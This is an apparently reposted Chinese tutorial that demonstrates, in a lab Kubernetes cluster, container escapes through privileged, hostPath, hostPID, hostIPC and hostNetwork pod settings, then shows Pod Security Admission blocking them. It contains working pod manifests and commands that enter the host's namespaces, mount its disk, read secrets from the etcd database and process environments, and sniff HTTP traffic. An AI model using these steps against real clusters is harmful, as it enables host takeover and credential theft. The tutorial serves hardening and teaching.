容器安全 - 利用容器的特权配置实现对Kubernetes攻击,以及如何使用 PSA 防范风险(视频)

这篇具有很好参考价值的文章主要介绍了容器安全 - 利用容器的特权配置实现对Kubernetes攻击,以及如何使用 PSA 防范风险(视频)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

《OpenShift / RHEL / DevSecOps 汇总目录》


通过将运行 Pod 的 privileged 设为 true,容器就以特权模式运行在宿主机上。和普通容器相比,特权容器具有非常大的权限和能力。
  1. 容器被赋予所有能力
  2. 不屏蔽敏感路径,例如 sysfs 中的 kernel 模块 within
  3. Any sysfs and procfs mounts are mounted RW
  4. AppArmor 保护不生效
  5. Seccomp 限制不生效
  6. cgroup 不限制访问任何设备
  7. 所有宿主机的设备都可以在容器中访问
  8. SELinux 限制不生效

本文将演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置实现对容器或宿主机的攻击,包括获得敏感数据、杀掉关键进程等。

  • privileged: 控制容器是否具有特权,特权容器拥有宿主机上的所有操作权限,可以访问宿主机上的所有设备。
  • hostpath: 将宿主机的指定目录挂载到容器中,这样就可以从容器中访问宿主机的指定目录。
  • hostpid:控制从容器中是否可以查看宿主机的进程信息。
  • hostipc:控制从容器中是否可以查看宿主机的 IPC 信息。
  • hostnetwork:控制容器是否直接使用并运行在宿主机的网络上。

准备环境

由于 OpenShift 缺省自带较高的安全防护,因此为了容易演示相关场景,本文没有采用 OpenShift 而使用的是 killercoda 网站的免费 Kubernetes 环境。

  1. 执行命令可以看到该环境的 Kubernetes 集群有 2 个节点。另外从提示符可以看到当前是在 controlplane 节点所在的 Linux 操作系统上。
$ kubectl get node -owide
NAME           STATUS   ROLES           AGE   VERSION   INTERNAL-IP   EXTERNAL-IP   OS-IMAGE             KERNEL-VERSION      CONTAINER-RUNTIME
controlplane   Ready    control-plane   41d   v1.28.1   172.30.1.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
node01         Ready    <none>          41d   v1.28.1   172.30.2.2    <none>        Ubuntu 20.04.5 LTS   5.4.0-131-generic   containerd://1.6.12
  1. 创建新的 Namespace,并确认标签默认没有 “pod-security.kubernetes.io” 相关内容。
$ kubectl create namespace pod-security
$ kubectl config set-context --current --namespace=pod-security
  1. 为了后面的测试,我们在集群中创建一个被攻击的 Secret 以及一个验证目录 test。
$ kubectl create secret generic my-secret \
    --from-literal=username=myadmin \
    --from-literal=password='mypass'

$ mkdir /test && ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var

利用特权配置对Kubernetes容器攻击

privileged + hostpid

当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。

  1. 执行以下命令创建 Pod。根据配置可知该 Pod 将运行在 controlplane 节点,并从该 Pod 进入属于宿主机的 init system (PID 1 进程) ,从而能访问宿主机文件系统并在宿主机上执行命令。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: priv-hostpid-pod
spec:
  hostPID: true
  containers:
  - name: priv-hostpid
    image: ubuntu
    tty: true
    securityContext:
      privileged: true
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
  nodeName: controlplane 
EOF
  1. 确认 Pod 运行后可直接获取到保存在 Kubernetes 集群未加密的 ETCD 数据库中的 Secret 数据。
$ kubectl get pod priv-hostpid-pod
NAME               READY   STATUS    RESTARTS   AGE
priv-hostpid-pod   1/1     Running   0          47s

$ kubectl exec -it priv-hostpid-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
        my-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

privileged

当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。

  1. 执行命令运行具有特权的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  containers:
  - name: priv
    image: redhat/ubi8-init
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: controlplane
EOF
  1. 进入运行的 priv-pod,然后安装 strings 工具。
$ kubectl get pod priv-pod
NAME       READY   STATUS    RESTARTS   AGE
priv-pod   1/1     Running   0          66s

$ kubectl exec -it priv-pod -- bash
[root@priv-pod /]# yum install binutils
  1. 执行命令查看分区,其中 /dev/vda1 为代表宿主机存储的设备。
[root@priv-pod /]# fdisk -l
。。。
Device      Start      End  Sectors  Size Type
/dev/vda1  227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14   2048    10239     8192    4M BIOS boot
/dev/vda15  10240   227327   217088  106M EFI System

Partition table entries are not in disk order.
  1. 将 /dev/vda1 挂在到容器的 /host 目录下,确认可以看到宿主机的 test 验证目录。
[root@priv-pod /]# mkdir /host
[root@priv-pod /]# mount /dev/vda1 /host/
[root@priv-pod /]# ls /host
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
[root@priv-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
        my-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostpath

通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。

  1. 执行命令运行具有 hostpath 特性的 Pod,它将挂载宿主机的 / 目录。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: hostpath
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: controlplane 
  volumes:
  - name: noderoot
    hostPath:
      path: /
EOF
  1. 进入 Pod 并切换到宿主机目录,确认可以看到 test 验证目录。
$ kubectl exec -it hostpath-pod -- chroot /host
# ls /
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  test  tmp  usr  var
  1. 确认可以获得宿主机上未加密 ETCD 数据库中的 Secret 敏感数据。
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
        my-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin

hostpid

当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。

  1. 执行命令运行具有 hostpid 特性的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: hostpid-pod
spec:
  hostPID: true
  containers:
  - name: hostpid
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: node01 
EOF
  1. 再运行另一个使用测试 Secret 的 Pod。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: mypasswd
spec:
  containers:
  - name: mysql
    image: busybox
    command: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']
    env:
    - name: MY_PASSWORD
      valueFrom:
        secretKeyRef:
          name: my-secret
          key: password
  nodeName: node01 
EOF
  1. 确认 2 个 Pod 都在运行。
$ kubectl get pod hostpid-pod mypasswd-pod -o wide
NAME            READY   STATUS    RESTARTS   AGE     IP            NODE           NOMINATED NODE   READINESS GATES
hostpid-pod     1/1     Running   0          2m32s   192.168.1.3   node01         <none>           <none>
mypasswd        1/1     Running   0          72s     192.168.1.4   node01         <none>           <none>
  1. 进入 hostpid-pod 的 Pod,然后确认可以在 /proc/*/environ 中查找到 MY_PASSWORD 关键字和对应的内容。
$ kubectl exec -it hostpid-pod -- bash
root@hostpid-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass

hostipc

当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。

  1. 执行命令运行 2 个具有 hostipc 特性的 Pod,其中一个用来作为攻击环境,另一个为被攻击环境。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: hostipc-pod-1
spec:
  hostIPC: true
  containers:
  - name: hostipc
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:
  name: hostipc-pod-2
spec:
  hostIPC: true
  containers:
  - name: hostipc
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: node01
EOF
  1. 确认 2 个 Pod 都已运行。
$ kubectl get pod hostipc-pod-1 hostipc-pod-2 -o wide
NAME            READY   STATUS    RESTARTS   AGE   IP            NODE     NOMINATED NODE   READINESS GATES
hostipc-pod-1   1/1     Running   0          37s   192.168.1.5   node01   <none>           <none>
hostipc-pod-2   1/1     Running   0          37s   192.168.1.6   node01   <none>           <none>
  1. 先进入 hostipc-pod-1,再将测试数据写入 IPC 共享区。
$ kubectl exec -it hostipc-pod-1 -- bash
root@hostipc-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt
  1. 再进入 hostipc-exec-pod-2,确认可以通过 IPC 共享区获取到 hostipc-exec-pod-1 写入的测试数据。
$ kubectl exec -it hostipc-pod-2 -- more /dev/shm/secretpassword.txt 
secretpassword

hostnetwork

当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod IP 是宿主机 IP,而非 cni 分配的 pod IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。

  1. 执行命令,创建一个使用 hostnetwork 的 Pod 和一个普通 Deployment 及其对应的 Service,其中 Service 运行在节点的 32222 端口上。另外强制 2 个 Pod 都运行在 Kubernetes 集群的 node01 节点上。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-pod
spec:
  hostNetwork: true
  containers:
  - name: hostnetwork
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
        - name: nginx
          image: nginx
      nodeName: node01
---
apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  type: NodePort
  ports:
    - nodePort: 32222
      port: 80
  selector:
    app: nginx
EOF
  1. 查看 2 个 Pod 运行的 IP 地址,确认普通 Pod 使用的是容器网段 IP 192.168.1.5,而启用 hostnetwork 的 Pod 使用的就是 node01 宿主机节点的 IP 地址。
$ kubectl get pod -owide
NAME                     READY   STATUS    RESTARTS   AGE     IP            NODE     NOMINATED NODE   READINESS GATES
hostnetwork-pod          1/1     Running   0          31m     172.30.2.2    node01   <none>           <none>
nginx-55d65bdfb4-lmkvr   1/1     Running   0          4m33s   192.168.1.3   node01   <none>           <none>
  1. 确认 ningx 对应 Service 绑定的 nodeport 端口。
$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32222
  1. 进入使用 hostnetwork 的 Pod,如果没有 tcpdump 可以安装,然后使用 tcpdump 开始嗅探到流经 32222 端口的 http get/post 的 request 和 response。刚开始运行还没有嗅探到数据。
$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump lsof iproute2 net-tools
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
  1. 在一个新的终端里使用 node01 的 IP(172.30.2.2) 和 Service(32222) 绑定的 nodeport 访问运行在普通 Pod 中的 nginx,确认可以访问到页面。
$ curl -s 172.30.2.2:32222
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
  1. 回到第 4 步的窗口,确认在 hostnetwork-pod 中已经可以嗅探到 HTML 数据。这些数据可以是敏感的业务数据,或是未经保护的密码等数据。
15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32222: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32222
User-Agent: curl/7.68.0
Accept: */*

15:44:04.195068 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes

15:44:04.195283 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

为 Namespace 启用 Pod Security Admission

  1. 查看 pod-security 命名空间当前的标签,确认没有 PSA 配置。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security"
}
  1. 向 pod-security 命名空间添加标签,启用 “pod-security.kubernetes.io/warn=restricted” 的 PSA 配置。
$ kubectl label --overwrite ns pod-security \
   pod-security.kubernetes.io/warn=restricted \
   pod-security.kubernetes.io/warn-version=latest
  1. 确认 pod-security 命名空间的标签已有 PSA 配置。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/warn": "restricted",
  "pod-security.kubernetes.io/warn-version": "latest"
}
  1. 删除 priv-pod 后重新创建它。
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  containers:
  - name: priv
    image: redhat/ubi8-init
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: controlplane
EOF
  1. 可以看到 Warning 告警提示,但是 priv-pod 还是创建成功。
Warning: would violate PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
pod/priv-pod created
  1. 可以看到 priv-pod 已经运行。
 $ kubectl get pod priv-pod
NAME       READY   STATUS    RESTARTS   AGE
priv-pod   1/1     Running   0          76s
  1. 执行命令修改 pod-security 命名空间。
$ kubectl edit ns pod-security
  1. 将命名空间的第 2 个标签修改为 “pod-security.kubernetes.io/enforce”: “restricted”,然后保存退出编辑。
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
  "kubernetes.io/metadata.name": "pod-security",
  "pod-security.kubernetes.io/enforce": "restricted",
  "pod-security.kubernetes.io/warn-version": "latest"
}
  1. 删除 priv-pod 后重新创建它。
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  containers:
  - name: priv
    image: redhat/ubi8-init
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: controlplane
EOF
  1. 可以看到 Error 错误提示。
Error from server (Forbidden): error when creating "STDIN": pods "priv-pod" is forbidden: violates PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
  1. 确认 priv-pod 没有创建成功。
$ kubectl get pod priv-pod
Error from server (NotFound): pods "priv-pod" not found

视频

part1
part2
part3

参考

https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html
https://www.cnblogs.com/ericte/p/15569982.html
https://docs.starlingx.io/r/stx.7.0/security/kubernetes/pod-security-admission-controller-8e9e6994100f.html
https://kubernetes.io/docs/tutorials/security/cluster-level-pss/
https://kubernetes.io/docs/tasks/configure-pod-container/security-context/文章来源地址https://www.toymoban.com/news/detail-759741.html

到了这里,关于容器安全 - 利用容器的特权配置实现对Kubernetes攻击,以及如何使用 PSA 防范风险(视频)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 利用Ansible实现批量Linux服务器安全配置

    1.摘要 在上一篇初步利用Ansible实现批量服务器自动化管理文章中, 我初步实现了通过编写清单和剧本来实现多台服务器的自动化管理,在本章节中, 我将利用Ansible的剧本来实现更实用、更复杂一点的功能, 主要功能包括三个:1.同时在三台服务器中增加IP访问控制,只允许192.168.2

    2024年01月20日
    浏览(50)
  • 人工智能安全:利用人工智能自动化攻击防御

    作者:禅与计算机程序设计艺术 引言 1.1. 背景介绍 随着人工智能技术的快速发展,大量的个人数据、敏感信息存储在互联网上,人工智能攻击日益猖獗。为了保护个人隐私与数据安全,人工智能安全技术应运而生。人工智能安全技术主要通过模拟人类思维,检测和防御人工

    2024年02月16日
    浏览(62)
  • kubernetes和容器安全的7个关键特性

    Uptycs结合了针对Kubernetes和容器运行时的威胁检测,自动注册表扫描和Kubernetes硬化检查。 许多组织正在开始他们的Kubernetes和容器之旅,而其他组织在扩展部署规模时遇到了复杂性问题。容器化应用程序带来了许多好处,但也引入了新类型的安全挑战。 Uptycs通过将威胁、漏洞

    2024年02月09日
    浏览(35)
  • kubernetes gVisor 安全沙箱运行容器(RuntimeClass)

    开头语 写在前面:如有问题,以你为准, 目前24年应届生,各位大佬轻喷,部分资料与图片来自网络 内容较长,页面右上角目录方便跳转 容器的应用程序可以直接访问Liux内核的系统调用,容器在安全隔离上还是比较弱,虽然 内核在不断地增强自身的安全特性,但由于内核

    2024年01月18日
    浏览(44)
  • Kaniko在containerd中无特权快速构建并推送容器镜像

    目录 一、kaniko是什么 二、kaniko工作原理 三、kanijo工作在Containerd上 基于serverless的考虑,我们选择了kaniko作为镜像打包工具,它是google提供了一种不需要特权就可以构建的docker镜像构建工具。 一、kaniko是什么 kaniko 是一种在容器或 Kubernetes 集群内从 Dockerfile 构建容器镜像的工

    2024年02月11日
    浏览(45)
  • 安全攻防实战丨如何预防利用中间人攻击进行小程序刷分

    本文分享自华为云社区《【安全攻防】深入浅出实战系列专题-利用中间人攻击进行小程序刷分》,作者: MDKing 。 中间人攻击(Man-in-the-middle attack,简称MITM)是攻击者在进行网络通信的双方中间,分别与两端建立独立的联系,并进行数据嗅探甚至篡改,而通信的双方却对中

    2024年02月08日
    浏览(34)
  • Kubernetes配置 Pods 和容器—调整分配给容器的 CPU 和内存资源

    本页说明如何在不重启 Pod 或其容器的情况下调整分配给运行中 Pod 容器的 CPU 和内存资源。 Kubernetes 节点会基于 Pod 的  requests  为 Pod 分配资源, 并基于 Pod 的容器中指定的  limits  限制 Pod 的资源使用。 对于原地调整 Pod 资源而言: 针对 CPU 和内存资源的容器的  requests  和

    2024年02月13日
    浏览(43)
  • Kubernetes配置 Pods 和容器—将 Docker Compose 文件转换为 Kubernetes 资源

    你必须拥有一个 Kubernetes 的集群,同时你必须配置 kubectl 命令行工具与你的集群通信。 建议在至少有两个不作为控制平面主机的节点的集群上运行本教程。 我们有很多种方式安装 Kompose。首选方式是从最新的 GitHub 发布页面下载二进制文件。 Kompose 通过 GitHub 安装 只需几步,

    2024年02月12日
    浏览(47)
  • docker run:--privileged=true选项解析(特权模式:赋予容器几乎与主机相同的权限)

    Docker在创建和运行容器时,提供了许多命令行参数来自定义容器的行为。其中之一就是 --privileged=true 选项。此选项提供了对主机系统资源更深层次的访问权限。本文将详细解析这个选项,并探索它的用途和可能带来的风险。 1.1 Linux Namespace 和 Capabilities 在理解 --privileged=true

    2024年02月08日
    浏览(77)
  • 黑客可利用 Windows 容器隔离框架绕过端点安全系统

    新的研究结果表明,攻击者可以利用一种隐匿的恶意软件检测规避技术,并通过操纵 Windows 容器隔离框架来绕过端点安全的解决方案。 Deep Instinct安全研究员丹尼尔-阿维诺姆(Daniel Avinoam)在本月初举行的DEF CON安全大会上公布了这一发现。 Microsoft的容器体系结构(以及扩展的

    2024年02月09日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包